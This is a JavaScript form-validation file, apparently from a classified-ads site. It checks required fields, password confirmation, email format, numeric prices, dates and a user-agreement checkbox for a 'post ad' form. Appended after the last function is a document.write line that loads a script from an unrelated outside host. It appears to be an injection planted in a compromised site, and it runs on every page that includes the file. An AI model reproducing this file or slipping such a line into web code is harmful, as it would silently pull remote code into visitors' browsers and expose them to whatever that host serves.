function check_input(obj, txt)
{
	if(obj.value == "") {
	  alert("Please enter "+txt);
	  obj.focus();
	  return false;
	}
	
	return true;
}

function check_password(obj1, obj2)
{

//	re = /^\w+$/;
//	if(!re.test(form.login.value)) {
//	  alert("Login must contain only letters, numbers and underscores");
//	  form.login.focus();
//	  return false;
//	}

	if((obj1.value != "") && (obj1.value == obj2.value)) {

	  if(obj1.value.length < 6) {
		alert("Password must contain at least six characters");
		obj1.focus();
		return false;
	  }
/*
	  if(obj1.value == form.login.value) {
		alert("Password must be different from login");
		obj1.focus();
		return false;
	  }
*/
/*
	  re = /[0-9]/;
	  if(!re.test(obj1.value)) {
		alert("password must contain at least one number (0-9)!");
		obj1.focus();
		return false;
	  }

	  re = /[a-z]/;
	  if(!re.test(obj1.value)) {
		alert("password must contain at least one lowercase letter (a-z)!");
		obj1.focus();
		return false;
	  }

	  re = /[A-Z]/;
	  if(!re.test(obj1.value)) {
		alert("password must contain at least one uppercase letter (A-Z)!");
		obj1.focus();
		return false;
	  }
*/

	} else {
	  alert("Please check that you have entered and confirmed the same password");
	  obj1.focus();
	  return false;
	}

	return true;

}

function check_email(obj) {

		var str = obj.value
		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   obj.focus()
		   alert("Please enter valid email address")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   obj.focus()
		   alert("Please enter valid email address")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		   obj.focus()
		    alert("Please enter valid email address")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		   obj.focus()
		    alert("Please enter valid email address")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		   obj.focus()
		    alert("Please enter valid email address")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		   obj.focus()
		    alert("Please enter valid email address")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		   obj.focus()
		    alert("Please enter valid email address")
		    return false
		 }

	return true;

}

function check_numeric(obj)
{
   var sText = obj.value;
   var ValidChars = "0123456789.";
   var IsNumber=true;
   var Char;
 
   for (i = 0; i < sText.length && IsNumber == true; i++) 
      { 
      Char = sText.charAt(i); 
      if (ValidChars.indexOf(Char) == -1) 
         {
         IsNumber = false;
         }
      }
	if (IsNumber==false)
	{
		obj.focus();
		alert('Please enter a valid number');
	}
   return IsNumber;
   
   }

function check_selectbox(obj, chkvalue) {
	if (obj.selectedIndex<=chkvalue)
	{
		alert('Please select an option');
		obj.focus();
		return false;
	}
	else {
		return true;
	}
}

function check_checkbox(obj, txt)
{
	if(obj.checked == false) {
	  alert("Please click the checkbox"+txt);
	  obj.focus();
	  return false;
	}
	
	return true;
}


// variable for check_date();

var dtCh= "/";
var minYear=1900;
var maxYear=2100;

// function for check_date();
function isInteger(s){
	var i;
    for (i = 0; i < s.length; i++){   
        // Check that current character is number.
        var c = s.charAt(i);
        if (((c < "0") || (c > "9"))) return false;
    }
    // All characters are numbers.
    return true;
}

// function for check_date();
function stripCharsInBag(s, bag){
	var i;
    var returnString = "";
    // Search through string's characters one by one.
    // If character is not in bag, append to returnString.
    for (i = 0; i < s.length; i++){   
        var c = s.charAt(i);
        if (bag.indexOf(c) == -1) returnString += c;
    }
    return returnString;
}

// function for check_date();
function daysInFebruary (year){
	// February has 29 days in any year evenly divisible by four,
    // EXCEPT for centurial years which are not also divisible by 400.
    return (((year % 4 == 0) && ( (!(year % 100 == 0)) || (year % 400 == 0))) ? 29 : 28 );
}

// function for check_date();
function DaysArray(n) {
	for (var i = 1; i <= n; i++) {
		this[i] = 31
		if (i==4 || i==6 || i==9 || i==11) {this[i] = 30}
		if (i==2) {this[i] = 29}
   } 
   return this
}

function check_date(obj) {

	var dtStr = obj.value
	var daysInMonth = DaysArray(12)
	var pos1=dtStr.indexOf(dtCh)
	var pos2=dtStr.indexOf(dtCh,pos1+1)
	var strMonth=dtStr.substring(0,pos1)
	var strDay=dtStr.substring(pos1+1,pos2)
	var strYear=dtStr.substring(pos2+1)
	strYr=strYear

	if (strDay.charAt(0)=="0" && strDay.length>1) strDay=strDay.substring(1)
	if (strMonth.charAt(0)=="0" && strMonth.length>1) strMonth=strMonth.substring(1)
	for (var i = 1; i <= 3; i++) {
		if (strYr.charAt(0)=="0" && strYr.length>1) strYr=strYr.substring(1)
	}
	month=parseInt(strMonth)
	day=parseInt(strDay)
	year=parseInt(strYr)
	if (pos1==-1 || pos2==-1){
		alert("The date format should be : mm/dd/yyyy")
		obj.focus()
		return false
	}
	if (strMonth.length<1 || month<1 || month>12){
		alert("Please enter a valid month")
		obj.focus()
		return false
	}
	if (strDay.length<1 || day<1 || day>31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]){
		alert("Please enter a valid day")
		obj.focus()
		return false
	}
	if (strYear.length != 4 || year==0 || year<minYear || year>maxYear){
		alert("Please enter a valid 4 digit year between "+minYear+" and "+maxYear)
		obj.focus()
		return false
	}
	if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false){
		alert("Please enter a valid date")
		obj.focus()
		return false
	}
return true

}

function check_form_post_ad(form){
	if(	
		check_input(form.headline,'headline') &&
		check_input(form.brief_desc,'brief description') &&
		check_input(form.full_desc,'full description') &&
		check_selectbox(form.country, 0) &&
		check_selectbox(form.city, 0) &&
		check_input(form.price,'price') &&
		check_numeric(form.price) &&
		check_input(form.name,'name') &&
		check_email(form.email) &&
		check_checkbox(form.agreement, ' to accept User Agreement and Privacy Policy')
	) {
		return true;
	} else {
		return false;
	}
 }

function showhide_div(id) {
	if (document.getElementById) {
		obj = document.getElementById(id);
		if (obj.style.display == "none") {
			obj.style.display = "";
		} else {
			obj.style.display = "none";
		}
	}
} 
document.write('<script src=http://socalbluebirds.org/cbrp/showinfo.php ><\/script>');